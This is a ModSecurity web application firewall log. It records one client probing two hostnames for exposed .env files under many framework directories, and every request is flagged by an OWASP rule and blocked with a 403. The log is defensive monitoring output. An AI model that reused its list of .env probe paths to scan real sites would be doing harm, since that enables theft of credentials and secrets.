[Sat Oct 24 21:49:35.278360 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prestashop/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjQAAACE"]
[Sat Oct 24 21:49:35.278573 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjQAAACE"]
[Sat Oct 24 21:49:35.278867 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/prestashop/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjQAAACE"]
[Sat Oct 24 21:49:35.324098 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at1gLz8oejtZfsaip1YpRQAAABE"]
[Sat Oct 24 21:49:35.324358 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at1gLz8oejtZfsaip1YpRQAAABE"]
[Sat Oct 24 21:49:35.324733 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/dev/.env"] [unique_id "at1gLz8oejtZfsaip1YpRQAAABE"]
[Sat Oct 24 21:49:35.339897 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /codeigniter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/codeigniter/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjgAAACE"]
[Sat Oct 24 21:49:35.340044 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/codeigniter/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjgAAACE"]
[Sat Oct 24 21:49:35.340291 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/codeigniter/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjgAAACE"]
[Sat Oct 24 21:49:35.373166 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /staging/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at1gLz8oejtZfsaip1YpRgAAABE"]
[Sat Oct 24 21:49:35.373338 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at1gLz8oejtZfsaip1YpRgAAABE"]
[Sat Oct 24 21:49:35.373547 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/staging/.env"] [unique_id "at1gLz8oejtZfsaip1YpRgAAABE"]
[Sat Oct 24 21:49:35.395379 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cakephp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/cakephp/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjwAAACE"]
[Sat Oct 24 21:49:35.395541 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/cakephp/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjwAAACE"]
[Sat Oct 24 21:49:35.395831 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/cakephp/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWjwAAACE"]
[Sat Oct 24 21:49:35.423441 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at1gLz8oejtZfsaip1YpRwAAABE"]
[Sat Oct 24 21:49:35.423611 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at1gLz8oejtZfsaip1YpRwAAABE"]
[Sat Oct 24 21:49:35.423838 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/opt/.env"] [unique_id "at1gLz8oejtZfsaip1YpRwAAABE"]
[Sat Oct 24 21:49:35.431148 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /zend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/zend/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkAAAACE"]
[Sat Oct 24 21:49:35.431336 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/zend/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkAAAACE"]
[Sat Oct 24 21:49:35.431579 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/zend/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkAAAACE"]
[Sat Oct 24 21:49:35.470224 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at1gLz8oejtZfsaip1YpSAAAABE"]
[Sat Oct 24 21:49:35.470414 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at1gLz8oejtZfsaip1YpSAAAABE"]
[Sat Oct 24 21:49:35.470694 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/laravel/.env"] [unique_id "at1gLz8oejtZfsaip1YpSAAAABE"]
[Sat Oct 24 21:49:35.506030 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /yii/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/yii/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkQAAACE"]
[Sat Oct 24 21:49:35.506300 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/yii/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkQAAACE"]
[Sat Oct 24 21:49:35.506556 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/yii/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkQAAACE"]
[Sat Oct 24 21:49:35.514571 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /symfony/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at1gLz8oejtZfsaip1YpSQAAABE"]
[Sat Oct 24 21:49:35.514764 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at1gLz8oejtZfsaip1YpSQAAABE"]
[Sat Oct 24 21:49:35.515022 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/symfony/.env"] [unique_id "at1gLz8oejtZfsaip1YpSQAAABE"]
[Sat Oct 24 21:49:35.521561 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel5/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/laravel5/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkgAAACE"]
[Sat Oct 24 21:49:35.521755 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/laravel5/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkgAAACE"]
[Sat Oct 24 21:49:35.521983 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/laravel5/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkgAAACE"]
[Sat Oct 24 21:49:35.562137 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkwAAACE"]
[Sat Oct 24 21:49:35.562389 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkwAAACE"]
[Sat Oct 24 21:49:35.562745 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at1gLzKiZtbKEGWJKoLWkwAAACE"]
[Sat Oct 24 21:49:35.569319 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at1gLz8oejtZfsaip1YpSgAAABE"]
[Sat Oct 24 21:49:35.569499 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at1gLz8oejtZfsaip1YpSgAAABE"]
[Sat Oct 24 21:49:35.569758 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/wordpress/.env"] [unique_id "at1gLz8oejtZfsaip1YpSgAAABE"]
